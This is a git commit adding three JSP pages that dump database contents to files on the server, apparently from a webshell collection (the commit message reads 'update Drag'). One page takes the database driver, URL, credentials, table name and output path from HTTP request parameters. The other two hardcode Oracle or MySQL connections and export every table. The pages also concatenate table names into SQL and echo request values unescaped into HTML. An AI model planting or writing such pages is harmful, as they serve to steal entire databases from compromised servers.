update Drag

This commit is contained in:
tennc 2013-05-24 08:13:55 +08:00
parent c84c49a723
commit c871f6eb77
3 changed files with 243 additions and 0 deletions

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<%@ page import="java.sql.*" %>
<%@ page import="java.util.*" %>
<%@ page import="java.io.*" %>
<%@ page language="java" contentType="text/html; charset=UTF-8" pageEncoding="UTF-8"%>
<%
try {
String table=request.getParameter("table_name");
if(table!=null&&!table.equals("")){
String backupDir = request.getParameter("bak_path");
String ex=".txt";
String driver =request.getParameter("driver");
String url = request.getParameter("url");
String username = request.getParameter("username");
String password = request.getParameter("password");
Class.forName(driver);
Connection conn = DriverManager.getConnection(url, username, password);
ResultSetMetaData rsmd = null;
ResultSet rs=null;
Statement stmt = conn.createStatement();
out.println("Dumping data for table " + table + "...<br />");
OutputStreamWriter osw = new OutputStreamWriter(new FileOutputStream(backupDir+table+ex), "UTF-8");
BufferedWriter bw=new BufferedWriter(osw);
rs = stmt.executeQuery("SELECT * FROM " + table);
rsmd = rs.getMetaData();
while (rs.next()) {
bw.append("INSERT INTO " + table + " VALUES(");
// JDBC is 1-based, Java is not !?
for (int col = 1; col <= rsmd.getColumnCount(); col++) {
bw.append("'");
if (rs.getString(col) == null)
bw.append("");
else
bw.append(rs.getString(col));
if (col == rsmd.getColumnCount())
bw.append("'");
else
bw.append("',");
}
bw.append(");");
bw.newLine();
}
bw.flush();
bw.close();
osw.close();
rs.close();
stmt.close();
out.println("backup is ok");
conn.close();
}
else{
out.println("输入表名...");
}
} catch (Exception e) {
response.setStatus(200);
e.printStackTrace();
}
%>
<form action="" method="post" name="form1" id="form1">
<p>备份目录:<input type="text" name="bak_path" <%=request.getParameter("bak_path")%>/></p>
<p>table_name:<input type="text" name="table_name" /></p>
<p>url:<input type="text" name="url" value="<%=request.getParameter("url")%>"/></p>
<p>driver:<input type="text" name="driver" value="<%=request.getParameter("driver")%>"/></p>
<p>username:<input type="text" name="username" value="<%=request.getParameter("username")%>"/></p>
<p>password:<input type="text" name="password" value="<%=request.getParameter("password")%>"/></p>
<p><input type="submit" name="Submit" value="提交" /></p>
</form>

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<%@ page import="java.sql.*" %>
<%@ page import="java.util.*" %>
<%@ page import="java.io.*" %>
<%@ page language="java" contentType="text/html; charset=UTF-8" pageEncoding="UTF-8"%>
<%
try {
String backupDir = "/usr/data/";
String ex=".txt";
String driver = "oracle.jdbc.driver.OracleDriver";
String url = "jdbc:oracle:thin:user/pass@localhost:1521:orcl";
String username = "user";
String password = "pass";
Class.forName(driver);
Connection conn = DriverManager.getConnection(url, username, password);
// Get tables
String sql_tables="select TABLE_NAME from user_tab_comments";
PreparedStatement ps = conn.prepareStatement(sql_tables);
ResultSet rs = ps.executeQuery();
ArrayList<String> tables = new ArrayList<String>();
while (rs.next()) {
tables.add(rs.getString(1));
}
rs.close();
for(int i=0;i<tables.size();i++){
String table=tables.get(i);
out.println("Dumping data for table " + table + "...<br />");
OutputStreamWriter osw = new OutputStreamWriter(new FileOutputStream(backupDir+table+ex), "UTF-8");
BufferedWriter bw=new BufferedWriter(osw);
String sql="select * from "+table;
PreparedStatement p = conn.prepareStatement(sql);
ResultSet r = p.executeQuery();
ResultSetMetaData rsmeta=r.getMetaData();
while(r.next()){
bw.append("INSERT INTO " + table + " VALUES(");
// JDBC is 1-based, Java is not !?
for (int col = 1; col <= rsmeta.getColumnCount(); col++) {
bw.append("'");
if (r.getString(col) == null)
bw.append("");
else
bw.append(r.getString(col));
if (col == rsmeta.getColumnCount())
bw.append("'");
else
bw.append("', ");
}
bw.append(");");
bw.newLine();
}
bw.flush();
bw.close();
osw.close();
r.close();
}
rs.close();
out.println("backup is ok");
conn.close();
} catch (Exception e) {
response.setStatus(200);
e.printStackTrace();
}
out.println("<p><h3>finished</h3></p>");
%>

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<%@ page import="java.sql.*" %>
<%@ page import="java.util.*" %>
<%@ page import="java.io.*" %>
<%@ page language="java" contentType="text/html; charset=UTF-8" pageEncoding="UTF-8"%>
<%
try {
//备份文件存放的绝对路径
String backupDir = "c:/";
String ex=".txt";
String driver = "com.mysql.jdbc.Driver";
String url = "jdbc:mysql://localhost:3306/dbname";
String username = "user";
String password = "pass";
Class.forName(driver);
Connection conn = DriverManager.getConnection(url, username, password);
// Get tables
DatabaseMetaData dmd = conn.getMetaData();
ResultSet rs = dmd.getTables(null, null, "%", null);
ArrayList<String> tables = new ArrayList<String>();
while (rs.next()) {
tables.add(rs.getString(3));
}
rs.close();
ResultSetMetaData rsmd = null;
Statement stmt = conn.createStatement();
for (String table : tables) {
rs = stmt.executeQuery("SHOW CREATE TABLE " + table);
rsmd = rs.getMetaData();
while (rs.next()) {
/*
* mysql> SHOW CREATE TABLE t\G
*************************** 1. row ***************************
* Table: t
* Create Table: CREATE TABLE t (
* id int(11) default NULL auto_increment,
* s char(60) default NULL,
* PRIMARY KEY (id)
* ) TYPE=MyISAM
*/
// JDBC is 1-based, Java is not !?
// osw.append(rs.getString(2) + "\n\n");
}
rs.close();
out.println("Dumping data for table " + table + "...<br />");
OutputStreamWriter osw = new OutputStreamWriter(new FileOutputStream(backupDir+table+ex), "UTF-8");
BufferedWriter bw=new BufferedWriter(osw);
rs = stmt.executeQuery("SELECT * FROM " + table);
rsmd = rs.getMetaData();
while (rs.next()) {
bw.append("INSERT INTO " + table + " VALUES(");
// JDBC is 1-based, Java is not !?
for (int col = 1; col <= rsmd.getColumnCount(); col++) {
bw.append("'");
if (rs.getString(col) == null)
bw.append("");
else
bw.append(rs.getString(col));
if (col == rsmd.getColumnCount())
bw.append("'");
else
bw.append("',");
}
bw.append(");");
bw.newLine();
}
bw.flush();
bw.close();
osw.close();
rs.close();
}
stmt.close();
out.println("backup is ok");
conn.close();
} catch (Exception e) {
response.setStatus(200);
e.printStackTrace();
}
out.println("<p><h3>finished</h3></p>");
%>